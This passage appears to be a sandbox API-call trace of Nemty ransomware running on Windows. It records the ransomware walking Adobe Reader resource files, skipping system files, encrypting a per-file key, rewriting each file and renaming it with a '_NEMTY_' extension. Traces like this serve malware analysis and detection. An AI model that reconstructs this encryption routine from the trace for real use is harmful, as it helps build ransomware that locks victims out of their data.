pszString="YPfjNGPbZxOPDdlTgqQClAwiin7NtGBd1fQVtown2rR8Z1bXuo/lJ9Qi+xNCCPUi\r\nk72AyJnZNUVl0BOZicfx4BZK3zy/ADluWxeraUkSHlbc3KslLkPp/UpyMxPESviD\r\n0qKt97kEo5c6g/cd0h2DOLIYIL+CypkrmXXG9hI7BKGrtYu96HRWA6cT0hQ9iFEk\r\n0Bqmt4CgtQSeTfZCpnUpNDNCWuvedli7OTDXkQYBvzMPZ4l/tdpAv4MN/kxCRlKd\r\ngo+1wMWuS70KH6AT2r2czXBIAzKXlq0VHNbunh6KZJSHXCNHVJxkPWCL1zE39goJ\r\nXJtYHxJS091vr0ZPbGOmgw==\r\n", pcchString=0x653e5dc) returned 1 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.858] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.858] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.858] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.862] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.862] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.863] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.863] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.863] CloseHandle (hObject=0x2e8) returned 1 [0214.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.863] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt._nemty_kgobjgd_")) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.864] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_TN.txt", cAlternateFileName="DI7175~1.TXT")) returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2=".") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="..") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="...") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="windows") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="rsa") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="NTDETECT.COM") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="ntldr") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="MSDOS.SYS") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="IO.SYS") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="boot.ini") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="boot.ini") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="ntuser.dat") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="desktop.ini") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="CONFIG.SYS") returned 1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="RECYCLER") returned -1 [0214.864] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.865] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="bootmgr") returned 1 [0214.865] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="programdata") returned -1 [0214.865] lstrcmpiW (lpString1="DisplayLanguageNames.ar_TN.txt", lpString2="appdata") returned 1 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_TN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_TN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_TN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_TN.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_TN.txt", lpUsedDefaultChar=0x0) returned 30 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.865] Sleep (dwMilliseconds=0x5) [0214.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b61e90, dwHighDateTime=0x1d561e8)) [0214.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b61e90, dwHighDateTime=0x1d561e8)) [0214.872] GetLastError () returned 0x0 [0214.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.872] GetLastError () returned 0x0 [0214.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.873] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.873] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="PHiu/Dim7LjL27SwWL12OuA/wp6YdD/f+0sglXhMZ0lgLdjwsOgVShjVCVB/VkRS\r\nKrRzLHlHSJmO1MKnHtR+Vpb6mmm547LeiYurl4WY2OfADmzJ74L9jAuCApG1PVTt\r\ncZwVl7VAqIGM4Ep3zVe3RF2sPWW9lefGIp+1+u+y1PgH95MIeeysgEeSlmHelzBy\r\nwy9bbadk8myn3FDV4dyk8Yp1OpUFMgh0abX3YcKLktzL0M9bb88I2OVsSh7l/+UD\r\nAG5Ez7BxsqFpKL84TVyHDwtavKN7vCgXyw9BZC/5jcg+lmtSeKEEODMwbu5goBsj\r\n6X+06K2R/HAB3+krfxdweA==\r\n", pcchString=0x653e5dc) returned 1 [0214.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.874] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.874] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.874] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.877] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.877] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.878] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.878] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.878] CloseHandle (hObject=0x2e8) returned 1 [0214.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.878] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.878] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.878] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_tn.txt._nemty_kgobjgd_")) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.879] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.879] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_YE.txt", cAlternateFileName="DIE8B6~1.TXT")) returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2=".") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="..") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="...") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="windows") returned -1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="rsa") returned -1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="NTDETECT.COM") returned -1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="ntldr") returned -1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="MSDOS.SYS") returned -1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="IO.SYS") returned -1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="boot.ini") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="boot.ini") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.879] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="ntuser.dat") returned -1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="desktop.ini") returned 1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="CONFIG.SYS") returned 1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="RECYCLER") returned -1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="bootmgr") returned 1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="programdata") returned -1 [0214.880] lstrcmpiW (lpString1="DisplayLanguageNames.ar_YE.txt", lpString2="appdata") returned 1 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_YE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.880] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_YE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_YE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.880] 